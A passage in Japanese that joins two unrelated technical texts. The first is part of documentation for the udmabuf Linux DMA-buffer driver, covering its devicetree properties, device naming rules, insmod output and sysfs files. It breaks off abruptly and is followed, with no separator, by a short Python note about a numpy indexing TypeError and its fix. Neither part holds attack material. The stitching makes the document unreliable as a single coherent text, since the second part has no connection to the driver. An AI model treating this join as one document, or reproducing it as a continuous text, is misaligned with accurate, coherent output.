		};

```

sizeでDMAバッファの容量をバイト数で指定します。

device-nameでデバイス名を指定します。

minor-number でudmabufのマイナー番号を指定します。マイナー番号は0から255までつけることができます。ただし、insmodの引数の方が優先され、マイナー番号がかち合うとdevicetreeで指定した方が失敗します。minor-numberが省略された場合、空いているマイナー番号が割り当てられます。

デバイス名は次のように決まります。

1. device-nameが指定されていた場合は、 device-name。
2. device-nameが省略されていて、かつminor-numberが指定されていた場合は、sprintf("udmabuf%d", minor-number)。
3. device-nameが省略されていて、かつminor-numberも省略されていた場合は、devicetree のエントリー名(例ではudmabuf@0x00)。


```Shell
zynq$ insmod udmabuf.ko
udmabuf udmabuf0: driver installed
udmabuf udmabuf0: major number   = 248
udmabuf udmabuf0: minor number   = 0
udmabuf udmabuf0: phys address   = 0x1e900000
udmabuf udmabuf0: buffer size    = 1048576
zynq$ ls -la /dev/udmabuf0
crw------- 1 root root 248, 0 Dec  1 09:34 /dev/udmabuf0
```

## デバイスファイル


udmabufをinsmodでカーネルにロードすると、次のようなデバイスファイルが作成されます。\<device-name\>には、前節で説明したデバイス名が入ります。

* /dev/\<device-name\>
* /sys/class/udmabuf/\<device-name\>/phys_addr
* /sys/class/udmabuf/\<device-name\>/size
* /sys/class/udmabuf/\<device-name\>/sync_mode
* /sys/class/udmabuf/\<device-name\>/sync_offset
* /sys/class/udmabuf/\<device-name\>/sync_size
* /sys/class/udmabuf/\<device-name\>/sync_direction
* /sys/class/udmabuf/\<device-name\>/sync_owner
* /sys/class/udmabuf/\<device-name\>/sync_for_cpu
* /sys/class/udmabuf/\<device-name\>/sync_for_device
[エラー] TypeError: only integer arrays with one element can be converted to an index

#エラー

行列からランダムに行を取り出そうとしたらエラーが出た。

~~~
>>> x = [[0,0],[1,1],[2,2],[3,3],[4,4],[5,5]]
>>> perm = np.random.permutation(6)[:3]
>>> perm
array([0, 2, 4])
>>> x[perm]
TypeError: only integer arrays with one element can be converted to an index
~~~

#解決
行列をnp.arrayにしたら解決した

~~~
>>> x = np.array(x)
>>> x[perm]
array([[0, 0],
       [2, 2],
       [4, 4]])
~~~